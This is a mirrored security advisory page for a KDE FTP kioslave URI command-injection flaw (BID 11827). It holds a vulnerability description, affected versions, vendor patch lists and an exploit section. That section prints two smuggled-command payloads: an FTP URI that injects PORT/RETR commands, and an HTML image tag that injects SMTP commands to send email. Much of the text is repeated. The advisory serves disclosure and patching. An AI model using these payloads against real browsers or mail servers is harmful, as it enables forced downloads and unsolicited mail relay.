KDE FTP KIOSlave URI Arbitrary FTP Server Command Execution Vulnerability
BID:11827
Info
KDE FTP KIOSlave URI Arbitrary FTP Server Command Execution Vulnerability
| Bugtraq ID: | 11827 |
| Class: | Input Validation Error |
| CVE: |
CVE-2004-1165 |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 06 2004 12:00AM |
| Updated: | Jul 12 2009 08:07AM |
| Credit: | Albert Puigsech Galicia <[email protected]> disclosed this vulnerability. |
| Vulnerable: |
SuSE Linux 8.1 SuSE Linux 8.0 i386 SuSE Linux 8.0 SGI ProPack 3.0 S.u.S.E. Linux Personal 9.2 S.u.S.E. Linux Personal 9.1 S.u.S.E. Linux Personal 9.0 x86_64 S.u.S.E. Linux Personal 9.0 S.u.S.E. Linux Personal 8.2 Redhat Fedora Core3 Redhat Fedora Core2 Redhat Enterprise Linux WS 3 Redhat Enterprise Linux WS 2.1 IA64 Redhat Enterprise Linux WS 2.1 Redhat Enterprise Linux ES 3 Redhat Enterprise Linux ES 2.1 IA64 Redhat Enterprise Linux ES 2.1 Redhat Enterprise Linux AS 3 Redhat Enterprise Linux AS 2.1 IA64 Redhat Enterprise Linux AS 2.1 Redhat Desktop 3.0 Redhat Advanced Workstation for the Itanium Processor 2.1 IA64 Redhat Advanced Workstation for the Itanium Processor 2.1 KDE Konqueror 3.3.2 KDE Konqueror 3.3.1 KDE Konqueror 3.3 KDE Konqueror 3.2.3 KDE Konqueror 3.2.2 -6 KDE Konqueror 3.2.1 KDE Konqueror 3.1.5 KDE Konqueror 3.1.4 KDE Konqueror 3.1.3 KDE Konqueror 3.1.2 KDE Konqueror 3.1.1 KDE Konqueror 3.1 KDE Konqueror 3.0.5 b KDE Konqueror 3.0.5 KDE Konqueror 3.0.3 KDE Konqueror 3.0.2 KDE Konqueror 3.0.1 KDE Konqueror 3.0 KDE kdelibs 3.2.2 KDE kdelibs 3.2.1 KDE kdelibs 3.2 KDE kdelibs 3.1.5 KDE kdelibs 3.1.4 KDE kdelibs 3.1.3 KDE kdelibs 3.1.2 KDE kdelibs 3.1.1 KDE kdelibs 3.1 KDE KDE 3.3.2 KDE KDE 3.3.1 KDE KDE 3.3 KDE KDE 3.2.3 KDE KDE 3.2.2 KDE KDE 3.2.1 KDE KDE 3.2 KDE KDE 3.1.5 KDE KDE 3.1.4 KDE KDE 3.1.3 KDE KDE 3.1.2 KDE KDE 3.1.1 a KDE KDE 3.1.1 KDE KDE 3.1 KDE KDE 3.0.5 b KDE KDE 3.0.5 a KDE KDE 3.0.5 KDE KDE 3.0.4 KDE KDE 3.0.3 a KDE KDE 3.0.3 KDE KDE 3.0.2 KDE KDE 3.0.1 KDE KDE 3.0 |
| Not Vulnerable: | |
Discussion
KDE FTP KIOSlave URI Arbitrary FTP Server Command Execution Vulnerability
KDE FTP kioslave-based applications such as Konqueror are reported prone to an arbitrary FTP server command execution vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input prior to utilizing it to execute FTP commands on remote servers.
This vulnerability allows attackers to embed arbitrary FTP server commands in malicious URIs. Upon following this malicious URI, the victim users Web browser will reportedly connect to the attacker-specified FTP server, and the malicious commands will be sent to the server. This may allow malicious files to be downloaded to the victims computer without their knowledge. Other attacks are also likely possible.
Note: It has been reported that this issue can be leveraged to send email to arbitrary addresses without user interaction.
KDE FTP kioslave-based applications such as Konqueror are reported prone to an arbitrary FTP server command execution vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input prior to utilizing it to execute FTP commands on remote servers.
This vulnerability allows attackers to embed arbitrary FTP server commands in malicious URIs. Upon following this malicious URI, the victim users Web browser will reportedly connect to the attacker-specified FTP server, and the malicious commands will be sent to the server. This may allow malicious files to be downloaded to the victims computer without their knowledge. Other attacks are also likely possible.
Note: It has been reported that this issue can be leveraged to send email to arbitrary addresses without user interaction.
Exploit / POC
KDE FTP KIOSlave URI Arbitrary FTP Server Command Execution Vulnerability
An example URI sufficient to exploit this vulnerability is provided:
ftp://ftp.example.com/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file
The 'a,b,c,d,e,f' would represent the IP address and port specifications, as per the FTP RFCs.
This issue has also been reported to allow for the sending of email without user interaction. Embedding the following image into an HTML page reportedly sends an email:
<img src="ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a&lt;&gt;%0d%0aRCPT%20TO%3a&lt;username%40example.com&gt;%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:[email protected]:25/" />
An example URI sufficient to exploit this vulnerability is provided:
ftp://ftp.example.com/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file
The 'a,b,c,d,e,f' would represent the IP address and port specifications, as per the FTP RFCs.
This issue has also been reported to allow for the sending of email without user interaction. Embedding the following image into an HTML page reportedly sends an email:
<img src="ftp://foo%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a&lt;&gt;%0d%0aRCPT%20TO%3a&lt;username%40example.com&gt;%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20username%40example.com%0d%0a%0d%0ahacked%0d%0a.%0d%0a:[email protected]:25/" />
Solution / Fix
KDE FTP KIOSlave URI Arbitrary FTP Server Command Execution Vulnerability
Solution:
Mandrake Linux has released an advisory (MDKSA-2004:160) dealing with this issue. Mandrake has also released an additional advisory to address this issue (MDKSA-2005:045). Please see the referenced advisories for more information.
Debian has released advisory DSA 631-1 to provide updates for kdelibs. Please see the attached advisory for details on obtaining and applying fixes.
Gentoo has released an advisory to provide updates for this issue. Updates may be applied by running the following commands as the superuser:
emerge --sync
emerge --ask --oneshot --verbose kde-base/kdelibs
KDE has released patches for KDE 3.2.3 and 3.3.2.
Fedora has released advisories FEDORA-2005-063 and FEDORA-2005-064 for Fedora Core 2 and 3. These advisories contain updated kdelibs packages. Please see the referenced advisories for more information.
SuSE Linux has released a security summary report (SUSE-SR:2005:003) that contains fixes to address this and other vulnerabilities. Customers are advised to peruse the referenced advisory for further information regarding obtaining and applying appropriate updates.
Red Hat has released advisory RHSA-2005:009-19 to address issues in KDE. Please see the advisory in Web references for more information.
SGI has released advisory 20050207-01-U including Patch 10144 that contains updated SGI ProPack 3 Service Pack 4 RPMs for the SGI Altix products. This patch addresses various issues. Please see the referenced advisory for more information.
SGI ProPack 3.0
KDE KDE 3.1.1
KDE KDE 3.1.4
KDE KDE 3.2
KDE KDE 3.2.1
KDE KDE 3.2.2
KDE Konqueror 3.2.3
KDE KDE 3.2.3
KDE KDE 3.3
KDE KDE 3.3.2
KDE Konqueror 3.3.2
Solution:
Mandrake Linux has released an advisory (MDKSA-2004:160) dealing with this issue. Mandrake has also released an additional advisory to address this issue (MDKSA-2005:045). Please see the referenced advisories for more information.
Debian has released advisory DSA 631-1 to provide updates for kdelibs. Please see the attached advisory for details on obtaining and applying fixes.
Gentoo has released an advisory to provide updates for this issue. Updates may be applied by running the following commands as the superuser:
emerge --sync
emerge --ask --oneshot --verbose kde-base/kdelibs
KDE has released patches for KDE 3.2.3 and 3.3.2.
Fedora has released advisories FEDORA-2005-063 and FEDORA-2005-064 for Fedora Core 2 and 3. These advisories contain updated kdelibs packages. Please see the referenced advisories for more information.
SuSE Linux has released a security summary report (SUSE-SR:2005:003) that contains fixes to address this and other vulnerabilities. Customers are advised to peruse the referenced advisory for further information regarding obtaining and applying appropriate updates.
Red Hat has released advisory RHSA-2005:009-19 to address issues in KDE. Please see the advisory in Web references for more information.
SGI has released advisory 20050207-01-U including Patch 10144 that contains updated SGI ProPack 3 Service Pack 4 RPMs for the SGI Altix products. This patch addresses various issues. Please see the referenced advisory for more information.
SGI ProPack 3.0
-
SGI Patch10144
http://support.sgi.com/
KDE KDE 3.1.1
-
SuSE kdebase3-3.1.1-166.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/kdebase3-3.1.1-16 6.i586.rpm -
SuSE kdelibs3-3.1.1-151.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/8.2/rpm/i586/kdelibs3-3.1.1-15 1.i586.rpm
KDE KDE 3.1.4
-
SuSE kdebase3-3.1.4-80.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/kdebase3-3.1.4-80 .i586.rpm -
SuSE kdebase3-3.1.4-80.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/kdebase3-3.1. 4-80.x86_64.rpm -
SuSE kdelibs3-3.1.4-58.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/9.0/rpm/i586/kdelibs3-3.1.4-58 .i586.rpm -
SuSE kdelibs3-3.1.4-58.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.0/rpm/x86_64/kdelibs3-3.1. 4-58.x86_64.rpm
KDE KDE 3.2
-
Mandrake kdelibs-common-3.2-36.10.100mdk.amd64.rpm
Mandrake Linux 10.0/AMD64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake kdelibs-common-3.2-36.10.100mdk.i586.rpm
Mandrake Linux 10.0
http://www.mandrakesecure.net/en/ftp.php -
Mandrake kdelibs-common-3.2-36.10.C30mdk.i586.rpm
Mandrake Corporate Server 3.0
http://www.mandrakesecure.net/en/ftp.php -
Mandrake kdelibs-common-3.2-36.10.C30mdk.x86_64.rpm
Mandrake Corporate Server 3.0/x86_64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake kdelibs-common-3.2-36.8.100mdk.amd64.rpm
Mandrake Linux 10.0/AMD64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake kdelibs-common-3.2-36.8.100mdk.i586.rpm
Mandrake Linux 10.0
http://www.mandrakesecure.net/en/ftp.php -
Mandrake lib64kdecore4-3.2-36.10.100mdk.amd64.rpm
Mandrake Linux 10.0/AMD64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake lib64kdecore4-3.2-36.10.C30mdk.x86_64.rpm
Mandrake Corporate Server 3.0/x86_64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake lib64kdecore4-3.2-36.8.100mdk.amd64.rpm
Mandrake Linux 10.0/AMD64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake lib64kdecore4-devel-3.2-36.10.100mdk.amd64.rpm
Mandrake Linux 10.0/AMD64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake lib64kdecore4-devel-3.2-36.10.C30mdk.x86_64.rpm
Mandrake Corporate Server 3.0/x86_64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake lib64kdecore4-devel-3.2-36.8.100mdk.amd64.rpm
Mandrake Linux 10.0/AMD64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libkdecore4-3.2-36.10.100mdk.i586.rpm
Mandrake Linux 10.0
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libkdecore4-3.2-36.10.C30mdk.i586.rpm
Mandrake Corporate Server 3.0
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libkdecore4-3.2-36.8.100mdk.i586.rpm
Mandrake Linux 10.0
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libkdecore4-devel-3.2-36.10.100mdk.i586.rpm
Mandrake Linux 10.0
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libkdecore4-devel-3.2-36.10.C30mdk.i586.rpm
Mandrake Corporate Server 3.0
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libkdecore4-devel-3.2-36.8.100mdk.i586.rpm
Mandrake Linux 10.0
http://www.mandrakesecure.net/en/ftp.php
KDE KDE 3.2.1
-
SuSE kdebase3-3.2.1-68.36.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kdebase3-3.2.1-68 .36.i586.rpm -
SuSE kdelibs3-3.2.1-44.39.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/9.1/rpm/i586/kdelibs3-3.2.1-44 .39.i586.rpm
KDE KDE 3.2.2
-
Fedora kdelibs-3.2.2-12.FC2.i386.rpm
RedHat Fedora Core 2
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/2/ -
Fedora kdelibs-3.2.2-12.FC2.x86_64.rpm
RedHat Fedora Core 2
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/2/ -
Fedora kdelibs-debuginfo-3.2.2-12.FC2.i386.rpm
RedHat Fedora Core 2
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/2/ -
Fedora kdelibs-debuginfo-3.2.2-12.FC2.x86_64.rpm
RedHat Fedora Core 2
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/2/ -
Fedora kdelibs-devel-3.2.2-12.FC2.i386.rpm
RedHat Fedora Core 2
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/2/ -
Fedora kdelibs-devel-3.2.2-12.FC2.x86_64.rpm
RedHat Fedora Core 2
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/2/
KDE Konqueror 3.2.3
-
KDE post-3.2.3-kdelibs-kioslave.patch
ftp://ftp.kde.org/pub/kde/security_patches/post-3.2.3-kdelibs-kioslave .patch
KDE KDE 3.2.3
-
KDE post-3.2.3-kdelibs-kioslave.patch
ftp://ftp.kde.org/pub/kde/security_patches/post-3.2.3-kdelibs-kioslave .patch -
Mandrake kdelibs-common-3.2.3-100.1.101mdk.i586.rpm
Mandrake Linux 10.1
http://www.mandrakesecure.net/en/ftp.php -
Mandrake kdelibs-common-3.2.3-100.1.101mdk.x86_64.rpm
Mandrake Linux 10.1/x86_64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake kdelibs-common-3.2.3-103.1.101mdk.i586.rpm
Mandrake Linux 10.1
http://www.mandrakesecure.net/en/ftp.php -
Mandrake kdelibs-common-3.2.3-103.1.101mdk.x86_64.rpm
Mandrake Linux 10.1/x86_64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake lib64kdecore4-3.2.3-100.1.101mdk.x86_64.rpm
Mandrake Linux 10.1/x86_64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake lib64kdecore4-3.2.3-103.1.101mdk.x86_64.rpm
Mandrake Linux 10.1/x86_64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake lib64kdecore4-devel-3.2.3-100.1.101mdk.x86_64.rpm
Mandrake Linux 10.1/x86_64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake lib64kdecore4-devel-3.2.3-103.1.101mdk.x86_64.rpm
Mandrake Linux 10.1/x86_64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libkdecore4-3.2.3-100.1.101mdk.i586.rpm
Mandrake Linux 10.1
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libkdecore4-3.2.3-103.1.101mdk.i586.rpm
Mandrake Linux 10.1
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libkdecore4-3.2.3-103.1.101mdk.i586.rpm
Mandrake Linux 10.1/x86_64
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libkdecore4-devel-3.2.3-100.1.101mdk.i586.rpm
Mandrake Linux 10.1
http://www.mandrakesecure.net/en/ftp.php -
Mandrake libkdecore4-devel-3.2.3-103.1.101mdk.i586.rpm
Mandrake Linux 10.1
http://www.mandrakesecure.net/en/ftp.php
KDE KDE 3.3
-
Fedora kdelibs-3.3.1-2.6.FC3.i386.rpm
RedHat Fedora Core 3
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/3/ -
Fedora kdelibs-3.3.1-2.6.FC3.x86_64.rpm
RedHat Fedora Core 3
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/3/ -
Fedora kdelibs-debuginfo-3.3.1-2.6.FC3.i386.rpm
RedHat Fedora Core 3
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/3/ -
Fedora kdelibs-debuginfo-3.3.1-2.6.FC3.x86_64.rpm
RedHat Fedora Core 3
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/3/ -
Fedora kdelibs-devel-3.3.1-2.6.FC3.i386.rpm
RedHat Fedora Core 3
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/3/ -
Fedora kdelibs-devel-3.3.1-2.6.FC3.x86_64.rpm
RedHat Fedora Core 3
http://download.fedora.redhat.com/pub/fedora/linux/core/updates/3/ -
SuSE kdebase3-3.2.1-68.36.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kdebase3-3.2. 1-68.36.x86_64.rpm -
SuSE kdebase3-3.3.0-29.3.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kdebase3-3.3.0-29 .3.i586.rpm -
SuSE kdebase3-3.3.0-29.3.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/kdebase3-3.3. 0-29.3.x86_64.rpm -
SuSE kdebase3-32bit-9.2-200501241627.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/kdebase3-32bi t-9.2-200501241627.x86_64.rpm -
SuSE kdelibs3-3.2.1-44.39.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.1/rpm/x86_64/kdelibs3-3.2. 1-44.39.x86_64.rpm -
SuSE kdelibs3-3.3.0-34.3.i586.rpm
ftp://ftp.suse.com/pub/suse/i386/update/9.2/rpm/i586/kdelibs3-3.3.0-34 .3.i586.rpm -
SuSE kdelibs3-3.3.0-34.3.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/kdelibs3-3.3. 0-34.3.x86_64.rpm -
SuSE kdelibs3-32bit-9.2-200501241627.x86_64.rpm
ftp://ftp.suse.com/pub/suse/x86_64/update/9.2/rpm/x86_64/kdelibs3-32bi t-9.2-200501241627.x86_64.rpm
KDE KDE 3.3.2
-
KDE post-3.3.2-kdelibs-kioslave.patch
ftp://ftp.kde.org/pub/kde/security_patches/post-3.3.2-kdelibs-kioslave .patch
KDE Konqueror 3.3.2
-
KDE post-3.3.2-kdelibs-kioslave.patch
ftp://ftp.kde.org/pub/kde/security_patches/post-3.3.2-kdelibs-kioslave .patch
References
KDE FTP KIOSlave URI Arbitrary FTP Server Command Execution Vulnerability
References:
References: